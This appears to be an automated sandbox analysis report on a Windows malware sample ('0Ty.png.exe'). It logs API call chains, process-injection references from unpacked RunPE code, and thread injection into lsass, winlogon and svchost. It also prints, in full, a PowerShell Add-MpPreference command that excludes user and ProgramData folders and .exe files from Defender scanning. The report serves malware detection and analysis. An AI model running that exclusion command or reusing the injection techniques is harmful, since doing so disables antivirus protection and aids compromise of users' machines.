Source: C:\Windows\System32\sc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\sc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\sc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\sc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\dialer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A29E110 FindFirstFileExW, 31_2_000002408A29E110
Source: C:\Windows\System32\conhost.exe Code function: 67_2_0000014ECB4AE110 FindFirstFileExW, 67_2_0000014ECB4AE110
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC64E110 FindFirstFileExW, 69_2_00000225DC64E110
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC67E110 FindFirstFileExW, 69_2_00000225DC67E110
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AEE110 FindFirstFileExW, 70_2_00000202C0AEE110
Source: C:\Windows\System32\svchost.exe Code function: 71_2_000002A66130E110 FindFirstFileExW, 71_2_000002A66130E110
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE0E110 FindFirstFileExW, 72_2_000002BAAEE0E110
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_000002488060E110 FindFirstFileExW, 73_2_000002488060E110
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe Thread delayed: delay time: 922337203685477
Source: svchost.exe, 00000047.00000002.2938262651.000002A66062A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: C:\Windows\System32\dialer.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\dllhost.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\dllhost.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A2981C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 31_2_000002408A2981C0
Source: C:\Windows\System32\dialer.exe Code function: 65_2_0000000140832D30 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect, 65_2_0000000140832D30
Source: C:\Windows\System32\dialer.exe Code function: 24_2_0000000140001C9C GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,StrStrIW,StrStrIW,StrNCatW,StrCatW,StrCatW,StrCatW,StrCatW,StrNCatW,StrCatW,StrCatW,StrCatW,StrStrIW,StrCatW,StrCpyW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 24_2_0000000140001C9C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe Process token adjusted: Debug
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A298528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 31_2_000002408A298528
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A2981C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 31_2_000002408A2981C0
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A29D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 31_2_000002408A29D6D4
Source: C:\Windows\System32\dialer.exe Code function: 64_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit, 64_2_0000000140001160
Source: C:\Windows\System32\conhost.exe Code function: 67_2_0000014ECB4A81C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 67_2_0000014ECB4A81C0
Source: C:\Windows\System32\conhost.exe Code function: 67_2_0000014ECB4AD6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 67_2_0000014ECB4AD6D4
Source: C:\Windows\System32\conhost.exe Code function: 67_2_0000014ECB4A8528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 67_2_0000014ECB4A8528
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC6481C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 69_2_00000225DC6481C0
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC64D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 69_2_00000225DC64D6D4
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC648528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 69_2_00000225DC648528
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC6781C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 69_2_00000225DC6781C0
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC67D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 69_2_00000225DC67D6D4
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC678528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 69_2_00000225DC678528
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AED6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 70_2_00000202C0AED6D4
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AE81C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 70_2_00000202C0AE81C0
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AE8528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 70_2_00000202C0AE8528
Source: C:\Windows\System32\svchost.exe Code function: 71_2_000002A66130D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 71_2_000002A66130D6D4
Source: C:\Windows\System32\svchost.exe Code function: 71_2_000002A661308528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 71_2_000002A661308528
Source: C:\Windows\System32\svchost.exe Code function: 71_2_000002A6613081C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 71_2_000002A6613081C0
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE081C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 72_2_000002BAAEE081C0
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE0D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 72_2_000002BAAEE0D6D4
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE08528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 72_2_000002BAAEE08528
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_00000248806081C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 73_2_00000248806081C0
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_000002488060D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 73_2_000002488060D6D4
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_0000024880608528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 73_2_0000024880608528

HIPS / PFW / Operating System Protection Evasion

barindex
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs .Net Code: Run contains injection code
Source: 24.2.dialer.exe.1400050b0.1.raw.unpack, RunPE.cs .Net Code: Run contains injection code
Source: 28.2.powershell.exe.1bff12d0000.12.raw.unpack, RunPE.cs .Net Code: Run contains injection code
Source: 38.3.weiuemyrzjra.exe.1e74f1434b0.1.raw.unpack, RunPE.cs .Net Code: Run contains injection code
Source: 62.2.dialer.exe.1400050b0.1.raw.unpack, RunPE.cs .Net Code: Run contains injection code
Source: 66.2.powershell.exe.28ba5b5ec68.15.raw.unpack, RunPE.cs .Net Code: Run contains injection code
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, Unhook.cs Reference to suspicious API methods: VirtualProtect((IntPtr)((long)moduleHandle + num5), (IntPtr)num6, 64u, out var oldProtect)
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs Reference to suspicious API methods: OpenProcess(128, inheritHandle: false, parentProcessId)
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs Reference to suspicious API methods: NtAllocateVirtualMemory(process, ref address, IntPtr.Zero, ref size2, 12288u, 64u)
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs Reference to suspicious API methods: NtWriteVirtualMemory(process, address, payload, num3, IntPtr.Zero)
Source: 0.3.0Ty.png.exe.20c68e034b0.1.raw.unpack, RunPE.cs Reference to suspicious API methods: NtSetContextThread(thread, intPtr5)
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force Jump to behavior
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140002434 CreateProcessW,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,OpenProcess,TerminateProcess, 68_2_0000000140002434
Source: C:\Windows\System32\dllhost.exe Thread created: C:\Windows\System32\winlogon.exe EIP: DC612AC0
Source: C:\Windows\System32\dllhost.exe Thread created: C:\Windows\System32\lsass.exe EIP: C0AB2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: C:\Windows\System32\svchost.exe EIP: 612D2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: DC612AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: C0AB2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 612D2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: AEDD2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: C:\Windows\System32\svchost.exe EIP: 87992AC0
Source: C:\Windows\System32\dllhost.exe Thread created: C:\Windows\System32\svchost.exe EIP: 53772AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 5D532AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 67D2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 5B392AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: EBFD2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 59042AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: A9E72AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 73162AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 4E862AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 473C2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 6F9D2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 83BC2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: D3F72AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: A4152AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: BDF32AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: C0262AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: C9F32AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 644B2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 7B2A2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 4F62AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2AB42AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 4ADB2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 1992AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 25DA2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: F5352AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: F0D62AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: FFB2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: C2572AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 8BCE2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 66942AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 13EF2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 8D572AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 69B42AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: CC742AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 5DA72AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 199D2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: F3892AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 3B82AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 40E42AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: A6532AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 29D02AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 7B152AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 621A2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2F482AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 8B4B2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 683D2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 3402AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2E262AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 6C5E2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: D5932AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: FC692AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 78972AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 33B42AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 8D0A2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: AB4C2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2A642AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 6CF32AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 64522AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 49352AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 60DA2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 5E7B2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2F7C2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: E8152AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 52342AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 9DA92AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 602E2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 8D0F2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: B7F42AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 55FD2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: C7042AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 4202208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 23B2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 48072AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 90502AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 7F5C2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 111D2AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2572208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: D62208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2932208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: D02208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2752208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2F32208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 28B2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 942208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2332208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: BD2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 26C2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: FF2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 5D2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 27D2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 25D2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2922208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2392208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2742208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: B52208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2552208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2F32208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 7F2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 9F2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2D72208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 12F2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2602208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2502208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2822208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2512208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2222208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2D92208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 13A2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 722208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: D62208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: AA2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2E72208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: E02208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: CB2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 882208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2A62208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: CD2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 692208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2842208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2E32208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2A22208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: C32208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 912208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 23A2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2312208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 29C2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: A72208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 1502208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2902208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2BB2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 25D2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2132208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 5E2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: E52208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2612208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 13B2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2A22208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 8D2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2362208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 29C2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 20C2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 27F2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 13E2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 15B2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 12D2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2FE2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 1482208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 14F2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2BC2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: F52208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2EF2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 22F2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2F72208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: CB2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 902208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 26E2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: BF2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 972208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 5E2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 722208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 23F2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 672208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2D72208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2972208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2302208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 842208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2FD2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2092208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 2202208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: A22208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: A22208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: E02208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 26C2208
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: A6442AC0
Source: C:\Windows\System32\dllhost.exe Thread created: unknown EIP: 89942AC0
